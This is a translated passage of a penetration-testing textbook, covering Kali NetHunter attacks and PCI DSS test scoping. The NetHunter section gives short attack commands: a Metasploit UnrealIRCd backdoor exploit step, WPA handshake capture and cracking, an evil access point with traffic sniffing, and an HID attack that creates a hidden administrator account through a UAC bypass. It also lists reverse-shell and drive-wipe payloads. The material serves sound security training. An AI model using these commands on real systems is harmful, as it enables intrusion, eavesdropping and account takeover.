    msf >exploit(unreal_ircd_3281_backdoor) >set RHOST 192.168.0.182  

最后,我们运行漏洞利用。以下截图显示了前面命令的输出:

一旦触发了漏洞利用,我们可以运行whoami命令,并将其标识为根命令 shell。正如我们通过这个例子看到的那样,NetHunter 在 Metasploit 框架方面具有与 Kali Linux OS 相同的功能。这使得渗透测试人员可以利用 NetHunter 平台在更小更便携的平台上进行攻击。利用 Metasploit 框架的一个缺点是在平板电脑或手机上输入命令。

就像在 Kali Linux 中一样,NetHunter 还包括用于 Metasploit 的 Msfvenom 有效负载创建器。此 GUI 可用于生成用于 Metasploit 框架的自定义有效负载。要访问此工具,请单击 NetHunter 图标,然后导航到 Metasploit 有效负载生成器。您将被带到以下菜单:

从此菜单中,我们拥有与 Kali Linux 版本的 Msfvenom 相同的选项。此外,此 GUI 允许我们创建特定的有效负载并将其保存到 SD 卡以供进一步使用。

NetHunter 中与 Metasploit 一起使用的另一个工具是 Searchsploit。此工具查询www.exploit-db.com/上的 Exploit 数据库,并允许用户搜索可与 Metasploit 中的漏洞一起使用的其他漏洞。

MAC 更改器

在对目标无线网络进行攻击或连接到物理网络的情况下,可能需要更改 NetHunter 平台的 MAC 地址。为了方便起见,NetHunter 预装了 MAC Changer。要访问 MAC Changer,请单击 NetHunter 图标,然后单击 MAC Changer。您将被带到以下屏幕:

MAC 更改器允许您将主机名设置为您选择的主机名。将主机名设置为模仿目标组织的命名约定,可以在网络上记录活动的系统存在的情况下掩盖您的活动。此外,MAC 更改器允许您设置 MAC 地址或允许工具为每个接口随机分配 MAC 地址。

第三方 Android 应用程序

除了您的 NetHunter 安装外,通过浏览主菜单,您还应该注意到其他六个已安装的 Android 应用程序。

已安装的应用程序是NetHunter 终端应用程序,DriveDroid,USB 键盘,Shodan,Router KeygencSploit。尽管这些第三方应用程序在 NetHunter 文档中被列为正在进行的工作,但我发现它们都可以使用。根据您的移动设备及其硬件,某些应用程序或应用程序中的功能可能无法正常工作。

NetHunter 终端应用程序

就像 Kali 和 NetHunter 中的终端一样,NetHunter 终端应用程序允许用户在各种类型的终端之间进行选择,包括 Kali 终端、Android 终端和 AndroidSU(root Android)终端:

DriveDroid

DriveDroid 允许您的 Android 设备模拟可引导的闪存驱动器或 DVD。然后,设备本身可以在从 PC 引导时用作可引导媒体(例如可引导的闪存驱动器)。

DriveDroid 应用程序允许用户在创建可引导的 Android 驱动器时从本地存储或下载的 OS 映像(.iso)中进行选择。DriveDroid 也可以直接从 Google Play 商店下载:play.google.com/store/apps/details?id=com.softwarebakery.drivedroid&hl=en

USB 键盘

这个功能,正如其名称所示,允许使用 USB 键盘。使用此功能的能力可能取决于所使用的 Android 设备的型号。

Shodan

Shodan 工具,通常被称为黑客的搜索引擎,也有一个适用于 NetHunter 用户的移动版本。使用 Shodan 应用程序还需要一个 API 密钥,如果您在第四章注册了帐户,您已经被分配了一个 API 密钥,足迹和信息收集。访问www.shodan.io并登录(或注册)以查看浏览器右上角的 API 密钥。在移动设备上提示时,将 API 密钥输入 Shodan 应用程序中。

一旦您获得并输入了您的代码,您可以像在浏览器中一样使用 Shodan 应用程序:

Router Keygen

Router Keygen 是一个为支持 WEP 和 WPA 加密的路由器生成密钥的应用程序。该应用程序首先扫描 Wi-Fi 网络,以确定攻击是否受支持。

点击支持的网络会生成可能用于连接路由器和网络的密钥:

Router Keygen 也可以直接从 Google Play 商店下载,网址为play.google.com/store/apps/details?id=io.github.routerkeygen&hl=en_US

cSploit

cSploit 应用程序允许轻松进行信息收集、会话劫持和拒绝服务DoS)和中间人MitM)攻击,只需轻按按钮。启动时,cSploit 首先提示用户选择目标网络。然后用户将看到几个模块,如下面的屏幕截图所示:

考虑到所有模块都可以从移动设备运行,并且可以在渗透测试人员的身上隐藏或在攻击进行时轻松隐藏,这个工具相当令人印象深刻,只要电池还能用。

无线攻击

使用 NetHunter 平台的一个明显优势是其体积和隐蔽性。如果您被要求测试一个站点的无线安全性,同时又想保持一定的隐蔽性,这是一个有用的优势。坐在目标位置的大厅里,打开笔记本电脑并连接外部天线可能会引起一些不必要的注意。相反,将 NetHunter 部署在 Nexus 5 手机上,并将离散的外部天线隐藏在报纸或日程安排后面,是保持低调的更好方式。NetHunter 平台在进行无线渗透测试时的另一个关键优势是能够覆盖更广泛的区域,比如校园环境,而无需携带大型笔记本电脑。

无线扫描

正如在上一章中讨论的那样,识别无线目标网络是无线渗透测试中的关键步骤。NetHunter 平台中包含了可以执行无线扫描和目标识别的工具。还有第三方应用程序,具有用户友好的界面,通常可以收集与可能的目标网络相同或更详细的信息。

NetHunter 包括在第十一章, 无线渗透测试中讨论的 Aircrack-ng 工具套件,并且可以通过命令行以相同的方式工作。在这里,我们将打开一个命令 shell 并输入airoddump-ng来识别潜在的目标网络:

就像在 Kali Linux 操作系统中一样,我们能够确定 BSSID、信道和正在广播的 SSID。

WPA/WPA2 破解

正如我们之前讨论的,Aircrack-ng 套件工具在 NetHunter 中也包含了我们在第十一章中讨论过的工具。这使我们能够执行相同的攻击,而无需修改命令或技术。此外,我们可以利用在第十一章中使用的相同天线,以及外部适配器。以下破解是针对我们在第十一章中讨论过的相同访问点和相同的 BSSID 进行的。所有这些都是通过 NetHunter 命令行完成的。

在下面的截图中,我们看到了#airodump-ng -c 6 --bssid -w NetHunter命令的输出:

Aircrack-ng 能够像 Kali Linux 版本一样抓取四路握手。正如我们在第十一章中讨论的那样,我们可以使用预配置的列表来反向获取密码。为了演示目的,预配置的列表很短。

#aircrack-ng -w wifipasscode.txt -b 44:94:FC:37:10:6E NetHunter-01.cap命令产生了以下输出:

使用 NetHunter 键盘可能会在破解目标网络的密码方面有点乏味,但是可以做到。此外,这种攻击在需要坐在笔记本电脑和外部天线旁引起不必要注意的情况下是有用的。另一个有用的技术是使用 NetHunter 平台来扫描和捕获握手,然后将捕获文件传输到您的 Kali Linux 平台并在那里运行破解程序。这产生了相同的结果,同时给渗透测试人员保持隐身的能力。

WPS 破解

在 NetHunter 键盘上输入命令可能会有点令人沮丧,NetHunter 还使用了我们在第十一章中讨论过的 Wifite 工具。这个工具允许我们通过简单输入一个数字来进行攻击。打开 Kali 命令 shell,输入wifite命令,然后按 Enter。这将产生以下输出:

正如我们所看到的,NetHunter 的输出有一些细微的差异。有两个 WLAN 接口:内部无线接口和我们自己的外部天线。还有P2P0接口。这是 Android 操作系统的对等无线接口。然后我们通过输入数字3将我们的 WLAN1 接口设置为监视模式。

这产生了以下输出:

就像我们在第十一章中看到的那样,我们看到了我们之前测试过的相同网络。在我们停止扫描并输入数字15然后Enter之后,Wifite 运行了与之前相同的攻击:

从前面的截图中,我们可以看到我们已经为无线网络 Brenner 找到了相同的 WPA 和 PIN。

恶意 AP 攻击

邪恶接入点(evil AP)攻击是一种无线 MitM 攻击。在这种攻击中,我们试图让目标设备连接到我们设置的伪装成合法接入点的无线接入点。我们的目标认为这是一个合法的网络,因此连接到它。客户端的流量在转发到下游的合法接入点时被嗅探。来自合法接入点的任何流量也会通过我们设置的 AP 路由,再次我们有能力嗅探该流量。

以下图表说明了这种攻击。左边是我们目标的笔记本电脑。中间是我们的 NetHunter 平台。右边是一个连接到互联网的合法接入点。当目标连接到我们的 NetHunter 平台时,我们能够在转发到合法接入点之前嗅探流量。来自接入点的任何流量也会被嗅探,然后转发到客户端:

这只是我们过去讨论过的 MitM 攻击的一个变体。与以往不同的是,我们不需要了解客户端或他们所在网络的任何信息,因为我们将控制他们使用的网络。这是一种经常发生在使用免费无线互联网的公共区域的攻击,例如机场、咖啡店和酒店。

Mana 邪恶 AP

在 NetHunter 平台中我们将使用的工具是Mana Wireless Toolkit。从 NetHunter 图标导航到 Mana Wireless Toolkit。您将被带到的第一页是hostapd-karma.conf屏幕。

这使我们能够配置我们的邪恶 AP 无线接入点:

首先要考虑的是您需要确保有两个可用的无线接口。Android 的无线接口,很可能是 WLAN0,需要连接到具有互联网连接的接入点。这可以由您控制,或者只是我们位置上可用的免费无线互联网。WLAN1 接口将是我们的外部天线,它将提供虚假接入点。接下来,您可以将 BSSID 配置为模仿实际接入点的 MAC 地址。此外,我们还可以配置 SSID 来广播任何接入点的标识。其他设置涉及使用 Karma 漏洞进行攻击。这是对邪恶 AP 的变体。(有关更多信息,请参见insights.sei.cmu.edu/cert/2015/08/instant-karma-might-still-get-you.html.)我们可以将这些设置保持为默认值。在这种情况下,我们将保持默认设置,导航到三个垂直点并点击开始 mana。

这将启动虚假接入点:

在上一张截图中,我们可以看到 Mana 邪恶 AP 清除缓存信息并设置新的接入点。如果我们切换到设备,我们可以看到无线接入点 Free_Internet。此外,我们能够无需任何身份验证即可连接:

现在,在 NetHunter 平台上的另一个终端上,我们通过使用以下命令配置tcpdump捕获来配置我们的数据包捕获:

    # tcpdump -I wlan1

这产生了以下结果:

作为连接的设备接收和发送帧时,我们能够嗅探该流量。另一个可用的选项是以.pcap文件的形式捕获流量,然后将其卸载以在 Wireshark 中查看。

这是在目标组织的公共区域的有用攻击。这次攻击的另一个关键方面是,多个目标设备可以连接。但需要注意的是,如果有多个设备连接,可能会导致流量传输到目标的速度明显变慢。还有一种可以利用这个工具和一些移动设备中发现的漏洞的技术。许多移动设备会自动配置为连接到以前连接过的任何网络。这种自动连接不会查看无线接入点的 MAC 地址,而是正在广播的 SSID。在这种情况下,我们可以将我们的 Mana 邪恶 AP 称为常见的位置 SSID。当人们经过时,他们的移动设备将自动连接,并且只要它们在范围内,它们就会通过我们的设备路由其流量。

HID 攻击

NetHunter 有几个内置工具,允许您配置 HID 攻击。在这些工具中,NetHunter 利用标准命令行来执行一系列命令。要访问 HID 攻击菜单,请单击 NetHunter,然后单击 HID Attacks。在 HID Attacks 屏幕上,我们将看到两个选项。一个是 PowerSploit 攻击,另一个是 Windows CMD 攻击。在本节中,我们将详细介绍 Windows CMD 攻击。

在这种情况下,我们将使用 NetHunter 平台并将其连接到目标机器。我们的攻击将利用 HID 漏洞来运行ipconfig命令,并使用net user offsec NetHunter! / add命令将用户offsec添加到系统中。

最后,我们将使用net localgroup administrators offsec /add命令将该用户帐户添加到本地管理员组中:

接下来,我们需要设置用户帐户控制UAC)绕过。这允许 NetHunter 以管理员身份运行命令行。单击 UAC Bypass 以为适当的 Windows OS 进行配置:

在这种情况下,我们正在尝试针对 Windows 10 OS 的 HID 攻击,因此我们将 UAC Bypass 设置为 Windows 10:

在配置 UAC Bypass 后,将 USB 电缆插入目标机器。单击三个垂直点,然后单击执行攻击。

随着攻击的开始执行,您将看到目标机器正在打开命令提示符作为管理员的过程。然后执行在 NetHunter 中设置的命令。在这里,我们看到第一个命令ipconfig已经运行:

接下来,我们看到offsec用户已输入相关密码。用户帐户现已输入到目标计算机上的本地管理员组中:

如果您身处某个位置并观察到开放的工作站,则此攻击非常有用。您可以配置多种不同的命令,然后简单地将您的 NetHunter 平台连接到系统并执行。这可能包括使用 PowerShell 或其他脚本攻击的更复杂的攻击。

DuckHunter HID 攻击

DuckHunter HID 攻击将 USB Rubber Ducky 脚本转换为 NetHunter HID 攻击,如前所述。可以从 Hak5 的 Darren Kitchen 的 GitHub 页面github.com/hak5darren下载 USB Rubber Ducky 脚本,并加载到 Convert 选项卡中的 NetHunter HID 工具中。

有效载荷包括(但绝对不限于)以下内容:

  • WiFi 密钥抓取器

  • 具有持久性的反向 Shell

  • 从活动文件系统中检索 SAM 和 SYSYTEM

  • Netcat 反向 Shell

  • OSX 本地 DNS 中毒

  • 批量擦除/驱动擦除

  • Wifi 后门

总结

Kali NetHunter 平台在其体积方面具有很多功能。对于渗透测试人员来说,最明显的优势是,工具和技术基本上与 Kali Linux 和 NetHunter 相同,这减少了学习新工具集所需的时间,同时使渗透测试人员能够从手机或平板电脑上运行渗透测试。这使测试人员能够更接近目标组织,同时也能够模糊其一些行动。添加 HID 等攻击进一步使渗透测试人员能够执行其他工具无法完成的攻击。NetHunter 是一个非常好的平台,可以加入到您的渗透测试工具包中。

在下一章中,我们将继续讨论PCI DSSPayment Card Industry Data Security Standard)并讨论范围、调度、分割以及执行 PCI DSS 扫描的各种工具。

问题

  • 哪些版本的 OnePlus 和 Nexus 手机支持 Kali NetHunter?

  • NetHunter 在移动设备上需要 root 访问权限吗?

  • NetHunter 包括哪些第三方安卓应用程序?

  • Router Keygen 支持哪些类型的无线加密?

  • cSploit 应用程序的一些特点是什么?

  • MitM 无线攻击工具的名称是什么?

  • DuckHunter HID 攻击是什么?

进一步阅读

第十三章:PCI DSS 扫描和渗透测试

支付卡行业数据安全标准(PCI DSS)成立于 2006 年,由包括万事达卡、Discover、Visa、美国运通和 JCB 国际在内的几家领先的信用卡公司联合创办。PCI DSS(当前版本为 3.2.1)适用于所有接受、处理、传输和存储信用卡信息及相关细节的机构、商家和企业。该标准的目的仍然是保护商家、服务提供商和消费者免受与信用卡和相关个人可识别信息(PII)的数据安全违规相关的财务和商誉损失。

根据 PCI DSS,持卡人数据包括:

  • 持卡人的姓名

  • 持卡人的帐号

  • 持卡人的服务代码

  • 卡的到期日期

敏感数据还包括个人识别号码(PIN)和磁条或芯片上的数据。

PCI DSS 包括 6 个目标和 12 个要求。所有 6 个目标和 12 个要求都可以通过深入评估来实现,以验证已采取措施积极确保持卡人信息的保护。尽管满足 6 个目标和 12 个成就听起来可能很简单,但实际上有 250 个 PCI 子要求。

根据万事达卡,PCI DSS 的六个目标如下:

  • 建立和维护安全的网络和系统

  • 持卡人数据的保护

  • 维护漏洞管理计划

  • 实施强大的访问控制措施

  • 定期监控和测试网络

  • 维护信息安全政策

处理的持卡人交易量决定了公司需要完成的评估类型。一些公司,如 Discover 卡的 Discover Global Network,要求所有使用 Discover 网络处理、传输或存储持卡人数据的商家都符合 PCI 标准。

信用卡机构有各种级别和类别,用于确定合规要求,如下一节所列。这些标准在不同机构之间有所不同,尽管要求对所有机构都是相同的。

  • 级别 1:必须提交一份年度现场安全评估报告,详细说明处理、存储或传输信用卡信息的评估系统。还需要进行季度网络扫描,必须由批准的扫描供应商(ASV)进行,以远程扫描漏洞和潜在威胁。

  • 美国运通年交易量:2.5 百万(或更多)

  • 万事达卡年交易量:6 百万或更多

  • 级别 2:50,000-2.5 百万。需要进行年度自我评估,以及季度网络扫描。商家也可以根据自己的意愿提供现场评估。

  • 美国运通年交易量:少于 50,000

  • 万事达卡年交易量:1 至 6 百万之间

  • 级别 3:需要进行年度自我评估,以及季度网络扫描。商家也可以根据自己的意愿提供现场评估。

  • 美国运通年交易量:少于 50,000

  • 万事达卡年交易量:超过 20,000,但少于 100 万

额外级别:

  • 级别 EMV(美国运通):处理超过 50,000 笔芯片启用卡交易需要进行年度 EMV Attestation(AEA)自我检查。

  • 级别 4(万事达卡):需要进行年度自我评估,以及季度网络扫描。商家也可以根据自己的意愿提供现场评估。

PCI DSS v3.2.1 要求 11.3

在本章的前面,我提到 PCI DSS 包括 6 个目标和 12 个要求。官方的 PCI DSS v3.2.1 快速参考指南提供了所有 12 个要求的摘要,可以在www.pcisecuritystandards.org/documents/PCI_DSS-QRG-v3_2_1.pdf?agreement=true&time=1535479943356下载。在本节中,我们关注 PCI DSS 评估的渗透测试元素,这属于要求 11:定期测试安全系统和流程,属于目标 5:定期监控和测试网络

要求 11.3 基于实施渗透测试方法,如建议的NIST SP800-115 信息安全测试和评估技术指南。尽管 NIST SP800-115 是在 2008 年发布的,但它提供了经过验证的技术和最佳实践,用于范围界定和执行渗透测试,并且在考虑或创建渗透测试方法时应作为指南使用。

要求 11.3.1 侧重于进行外部渗透测试。这应该每年进行一次,或在组织内进行任何有影响力和重大的升级后进行,例如服务器升级、骨干应用程序、交换机、路由器、防火墙、云迁移,甚至环境中操作系统的升级。外部渗透测试应由合格和有经验的人员或第三方进行。

要求 11.3.2 侧重于内部渗透测试。与要求 11.3.1 一样,内部渗透测试应每年进行一次,并由合格和有经验的个人或第三方进行。

要求 11.3.3 更多地是作为分析性要求而不是技术要求,因为它涉及对内部和外部渗透测试的分析,以确保消除所揭示的漏洞和利用。

要求 11.4 定义了方法论范围内的分割。在确定评估范围时(我们将在下一节中看到),强烈建议采取措施来减少范围本身,因为并非网络或 CDE 中的每个系统都需要进行评估。可以使用防火墙和路由器中的访问控制列表配置来进行这种类型的网络隔离。

PCI DSS 渗透测试的范围

在进行任何类型的渗透测试之前,渗透测试人员需要与客户合作,以确保获得所有适当的信息。在目标范围界定阶段,渗透测试人员将从客户那里收集信息,用于生成目标评估要求,定义测试的参数,以及客户的业务目标和时间表。这个过程在定义任何类型的安全评估的明确目标方面起着重要作用。通过确定这些关键目标,您可以轻松地绘制出将要测试的内容、如何测试、将分配哪些资源、将应用哪些限制、将实现哪些业务目标以及测试项目将如何计划和安排的实际路线图。所有这些信息最终都在一个测试计划中明确说明测试的范围。

我们可以将所有这些元素结合起来,并以正式的范围流程呈现,以实现所需的目标。以下是本章将讨论的关键概念:

  • 收集客户需求:这涉及通过口头或书面沟通积累有关目标环境的信息。

  • 准备测试计划:这取决于不同的变量集。这些变量可能包括将实际要求塑造成结构化的测试过程、法律协议、成本分析和资源分配。

  • 确定测试边界:这确定了与渗透测试任务相关的限制。这些可能是技术、知识的限制,或者是客户 IT 环境的正式限制。

  • 定义业务目标:这是一个将业务观点与渗透测试计划的技术目标对齐的过程。

  • 项目管理和安排:这指导了渗透测试过程的每一步,为测试执行制定了适当的时间表。可以使用多种先进的项目管理工具来实现这一目标。

强烈建议您遵循范围界定过程,以确保测试的一致性和更大的成功概率。此外,该过程还可以根据特定情况和测试因素进行调整。如果没有这样的过程,失败的可能性会更大,因为收集到的要求没有适当的定义和程序可供遵循。这可能会使整个渗透测试项目面临风险,并可能导致意外的业务中断。在这个阶段,特别关注渗透测试过程将对测试的其他阶段和技术管理领域的观点有很好的贡献。关键是尽可能多地从客户那里获取信息,以制定反映渗透测试多个方面的战略路径。这些可能包括可协商的法律条款、合同协议、资源分配、测试限制、核心能力、基础设施信息、时间表和参与规则。作为最佳实践的一部分,范围界定过程解决了启动我们的渗透测试项目所必需的每个属性。

每个步骤都包含独特的信息,按照逻辑顺序进行,以成功进行测试执行。这也管理着在早期阶段需要解决的任何法律问题。因此,我们将在下一节更详细地解释每个步骤。请记住,如果所有收集到的信息都以有组织的方式进行管理,对于客户和渗透测试顾问来说,更容易进一步理解测试过程。

收集客户需求

这一步提供了一个通用的指南,可以以问卷的形式绘制,以便从客户那里获取有关目标基础设施的所有信息。客户可以是任何与目标组织有法律和商业约束关系的主体。因此,为了成功进行渗透测试项目,关键是在项目的早期阶段识别所有内部和外部利益相关者,并分析他们的利益水平、期望、重要性和影响力。然后可以制定策略,以满足每个利益相关者的需求和参与渗透测试项目,以最大化积极影响并减轻潜在的负面影响。

渗透测试人员有责任在进一步采取任何行动之前验证合同方的身份。

收集客户需求的基本目的是打开一个真实和真实的渠道,通过这个渠道,渗透测试人员可以获取可能对测试过程有必要的任何信息。一旦确定了测试需求,客户应验证这些需求,以消除任何误导性信息。这将确保未来的测试计划是一致和完整的。

创建客户需求表

我们列出了一些常见的问题和考虑因素,这些可以作为创建传统客户需求表的基础。需要注意的是,根据客户的目标,这个清单可以扩展或缩短:

  • 收集基本信息,如公司名称、地址、网站、联系人详细信息、电子邮件地址和电话号码

  • 确定渗透测试项目背后的关键目标

  • 确定渗透测试类型(是否具有特定标准):

  • 黑盒测试

  • 白盒测试

  • 外部测试

  • 内部测试

  • 包括社会工程

  • 排除社会工程

  • 调查员工背景信息

  • 采用员工的假身份(可能需要法律顾问)

  • 包括拒绝服务

  • 排除拒绝服务

  • 渗透业务合作伙伴系统:

  • 需要测试多少台服务器、工作站和网络设备?

  • 您的基础设施支持哪些操作系统技术?

  • 哪些网络设备需要进行测试?防火墙、路由器、交换机、负载均衡器、IDS、IPS 或其他设备?

  • 是否有灾难恢复计划?如果有,我们应该联系谁?

  • 目前是否有管理员管理您的网络?

  • 是否有遵守行业标准的特定要求?如果有,请列出。

  • 谁将成为这个项目的联系人?

  • 为这个项目分配了多少时间?

  • 您对这个项目的预算是多少?

  • 列出任何其他必要的杂项要求。

准备测试计划

一旦客户收集并验证了要求,就是时候制定一个正式的测试计划,该计划应反映所有这些要求,以及关于测试过程的法律和商业基础的其他必要信息。准备测试计划涉及的关键变量包括结构化测试流程、资源分配、成本分析、保密协议、渗透测试合同和参与规则。每个领域都有简短的描述,如下所示:

  • 结构化测试流程:在分析客户提供的细节后,重构测试方法可能很重要。例如,如果社会工程服务即将被排除,您需要将其从正式测试流程中删除。有时,这种做法被称为测试流程验证。这是一个需要反复访问的任务,每当客户需求发生变化时都需要重新访问。如果在测试执行过程中涉及任何不必要的步骤,可能会违反组织的政策并造成严重处罚。此外,根据测试类型,测试流程可能会有一些变化。例如,白盒测试可能不需要信息收集和目标发现阶段,因为测试人员已经了解内部基础设施。

无论测试类型如何,验证网络和环境数据可能都是有用的。毕竟,客户可能不知道他们的网络真正是什么样子!

  • 资源分配:确定实现测试完整性所需的专业知识是最重要的领域之一。因此,将适当技能的渗透测试人员分配到特定任务可能会导致更好的安全评估。例如,对应用程序进行渗透测试需要具有专业知识的应用程序安全测试人员。这项活动在渗透测试任务的成功中起着重要作用。

  • 成本分析:渗透测试的成本取决于几个因素。这可能涉及分配时间来完成项目范围的天数、额外的服务要求,如社会工程和物理安全评估,以及评估特定技术所需的专业知识。从行业的角度来看,这应该结合定性和定量价值。

  • 保密协议NDA):在开始测试过程之前,有必要签署一份能够反映双方利益的保密协议:客户和渗透测试人员。使用这样一份相互保密协议应该明确测试应该遵循的条款和条件。渗透测试人员应该在整个测试过程中遵守这些条款。违反任何一项协议条款都可能导致严重处罚或永久性排除在工作之外。

  • 渗透测试合同:总是需要一份法律合同来解决客户和渗透测试人员之间的技术和商业事项。这就是渗透测试合同的用武之地。这类合同中的基本信息集中在提供的测试服务、它们的主要目标、如何进行测试、支付声明以及保持整个项目的保密性。强烈建议您由律师或法律顾问创建此文件,因为它将用于大部分渗透测试活动。

  • 参与规则(ROE):渗透测试过程可能具有侵入性,并需要清楚了解评估的要求、客户提供的支持以及每种评估技术可能产生的潜在影响或效果类型。此外,渗透测试过程中使用的工具应明确说明其目的,以便测试人员可以相应地使用它们。ROE 以更详细的方式定义了所有这些陈述,以解决测试执行过程中应遵循的技术标准的必要性。您绝不能越过预先同意的 ROE 设定的界限。

通过准备测试计划的每个子部分,您可以确保对渗透测试过程有一致的视图。这将为渗透测试人员提供更具体的评估细节,这些细节是从客户的要求中得出的。始终建议您准备一份测试计划检查表,用于验证与承包方的评估标准及其基础条款。以下部分讨论了一种这样的示范性检查表。

测试计划检查表

在范围过程中采取任何进一步步骤之前,以下是一组问题的示例,应正确回答:

  • 在 RFP 期间承诺的所有要求都得到满足了吗?

  • 测试范围是否明确定义了?

  • 所有测试实体都已经确定了吗?

  • 所有非测试实体都已经单独列出了吗?

  • 是否有任何特定的测试流程将被遵循?

  • 测试过程是否被正确记录了?

  • 测试过程完成后是否会产生可交付成果?

  • 在测试之前是否已经对整个目标环境进行了研究和记录?

  • 所有与测试活动相关的角色和责任都已经分配了吗?

  • 是否有第三方承包商来完成特定技术评估?

  • 是否已经采取任何步骤将项目优雅地结束?

  • 灾难恢复计划已经确定了吗?

  • 测试项目的成本已经最终确定了吗?

  • 已经确定了谁将批准测试计划吗?

  • 已经确定了谁将接受测试结果吗?

测试边界的分析

了解测试环境的限制和边界与客户需求息息相关,可以解释为有意或无意的利益。这些可以是技术、知识或客户对基础设施施加的任何其他正式限制的形式。每个施加的限制可能会对测试过程造成严重中断,并可以使用替代方法解决。但是,请注意,某些限制无法修改,因为它们由客户管理以控制渗透测试的过程。我们将讨论每种通用类型的限制及其相关示例如下:

  • 技术限制:这种限制发生在项目范围得到了正确定义,但网络基础设施中存在新技术阻止审计员进行测试。这只有在审计员没有任何可以协助评估这种新技术的渗透测试工具时才会发生。例如,想象一家公司引入了一个强大的 GZ 网络防火墙设备,它位于边界并用于保护整个内部网络。然而,防火墙内部专有方法的实施阻止了任何防火墙评估工具的工作。因此,总是需要一个能够处理这种新技术评估的最新解决方案。

  • 知识限制:如果渗透测试人员的技能水平有限,无法测试某些技术,那么渗透测试人员的知识限制可能会产生负面影响。例如,专门的数据库渗透测试人员将无法评估网络基础设施的物理安全。因此,根据渗透测试人员的技能和知识,划分角色和责任是有益的,以实现所需的目标。

  • 其他基础设施限制:客户可以通过限制评估过程来控制某些测试限制。这可以通过限制 IT 基础设施的视图,仅包括需要评估的特定网络设备和技术来实现。通常,这种限制是在需求收集阶段引入的;例如,在测试给定网络段后面的所有设备,除了第一个路由器。客户施加的这种限制首先不能确保路由器的安全,这可能导致整个网络的妥协,即使所有其他网络设备都经过了加固和安全保证。因此,在对渗透测试施加任何此类限制之前,总是需要进行适当的思考。

对所有这些限制和限制进行概要是重要的,可以在收集客户需求的同时进行。一名优秀的渗透测试人员的职责是剖析每个需求,并与客户进行讨论,以撤销或更改可能导致测试过程中断或在不久的将来导致安全漏洞的任何模糊限制。引入高技能的渗透测试人员和先进的工具和技术也可以克服这些限制,尽管某些技术限制天生无法消除,可能需要额外时间来开发测试解决方案。

定义业务目标

根据评估要求和服务的认可,定义业务目标至关重要。这将确保测试输出以多种方式使业务受益。每个业务目标都是根据评估要求专注和结构化的,并且可以清晰地展示行业希望实现的目标。我们已经制定了一些通用的业务目标,可以用于任何渗透测试任务。但是,它们也可以根据需求的变化进行重新设计。这个过程很重要,可能需要渗透测试人员在测试完成之前、期间和之后观察和理解业务动机,同时保持标准的最低水平。业务目标是将管理和技术团队聚集在一起,以支持强有力的主张和保护信息系统的想法的主要方面。根据要进行的不同类型的安全评估,得出了以下常见目标列表:

  • 通过定期进行安全检查,提供行业范围内的可见性和认可。

  • 通过保证业务完整性,实现必要的标准和合规性。

  • 保护持有关于客户、员工和其他业务实体的机密数据的信息系统。

  • 列出在网络基础设施中发现的活动威胁和漏洞,并帮助制定应该阻止已知和未知风险的安全政策和程序。

  • 提供一个平稳而强大的业务结构,将使其合作伙伴和客户受益。

  • 保持维护 IT 基础设施安全的最低成本。安全评估衡量了业务系统的机密性、完整性和可用性。

  • 通过消除可能由恶意对手利用而造成更多成本的潜在风险,实现更大的投资回报。

  • 详细说明组织的技术团队可以遵循的补救程序,以关闭任何开放的漏洞,从而减少运营负担。

  • 遵循行业最佳实践和最佳工具和技术,根据基础技术评估信息系统的安全性。

  • 建议应该用于保护业务资产的任何可能的安全解决方案。

项目管理和排程

管理渗透测试项目需要对范围过程的所有个体部分有透彻的理解。一旦这些范围目标得到清晰,项目经理可以与渗透测试人员协调,制定一个定义项目计划和时间表的正式大纲。通常情况下,渗透测试人员可以独立完成这项任务,但客户的合作可能会给该时间表的这一部分带来积极的关注。这很重要,因为测试执行需要仔细分配不应超过声明的截止日期的时间范围。一旦确定了适当的资源并分配了执行评估期间某些任务的资源,就有必要绘制一个时间表,描述这些资源在渗透测试过程中的关键角色。

每个任务都被定义为渗透测试人员进行的工作。资源可以是参与安全评估的人员,也可以是实验室设备等普通资源,这些资源对渗透测试有帮助。为了有效和经济地管理这些项目,有许多项目管理工具可供选择,可用于实现我们的任务。我们在下表中列出了一些重要的项目管理工具。选择最佳工具取决于环境和测试标准的规定:

项目管理工具 网站
微软办公项目专业版 www.microsoft.com/project/
TimeControl www.timecontrol.com/
TaskMerlin www.taskmerlin.com/
Project KickStart Pro www.projectkickstart.com/
FastTrack Schedule www.aecsoftware.com/
ProjectLibre www.projectlibre.org
TaskJuggler www.taskjuggler.org/

使用任何这些强大的工具,渗透测试人员的工作可以轻松地按照其定义的任务和时间段进行跟踪和管理。此外,这些工具还提供其他高级功能,例如在任务完成或截止日期超过时为项目经理生成警报。在渗透测试任务期间使用项目管理工具的许多其他积极因素。这些包括按时交付服务的效率,提高测试生产率和客户满意度,提高工作的质量和数量,以及灵活控制工作的进展。

执行 PCI DSS 渗透测试的工具

PCI DSS 规定 ASV 每年进行评估,而合格和有经验的专业人士可以每季度进行自我评估。合格的人员应具有多年的渗透测试经验,并持有以下一项或多项认证:

  • Certified Ethical Hacker (CEH)

  • Offensive Security Certified Professional (OSCP)

  • CREST渗透测试认证

  • 全球信息保障认证 (GIAC),例如 GPEN,GWAPT 和 GXPN。

PCI DSS 评估专业人员使用的工具可以是商业工具或开源工具,只要它们能够产生高水平的准确性。在本书中,我们使用了许多工具,其中一些不仅执行多个功能,而且以自动化的方式执行,通常在指定了所有 IP 信息之后执行。

在第六章,漏洞扫描中,我们看了几种用于执行自动化漏洞评估的工具,包括 Tenable 的 Nessus 的试用版及其用于 PCI DSS 评估和合规性的可用选项。Tenable 也是许多公司之一,可以直接聘请作为独立第三方进行年度 PCI DSS 报告的 PCI ASV 漏洞扫描,具体取决于公司的合规水平和年度交易量。

尽管现在只能通过付费订阅获得,但 Nessus 也可以执行内部和外部 PCI DSS 评估。以下屏幕截图显示了 Nessus 内部 PCI DSS 评估的详细信息:

为了简化事情,我列出了前几章涵盖的工具列表,这些工具可以帮助您作为 PCI DSS 自我评估的一部分执行漏洞评估和渗透测试。同样,某些工具可能在列表中重复出现,因为它们可能执行多个功能:

  • 信息收集(第四章,足迹和信息收集):
  1. Devsploit

  2. Striker

  3. RedHawk

  • 扫描(第五章,扫描和规避技术):
  1. Nmap

  2. RedHawk

  • 漏洞评估(第六章,漏洞扫描):
  1. OpenVAS

  2. Nessus

  3. Lynis(Linux 系统审计)。

  4. Sparta

  • 第七章,社会工程
  1. 社会工程工具包
  • 利用(第 8-12 章):
  1. Metasploit

  2. NetHunter

  • 报告(第十四章,渗透测试报告工具):
  1. Dradis 框架

当然,还有许多其他工具可用于评估,但这些工具应该足以让您开始。

Summary

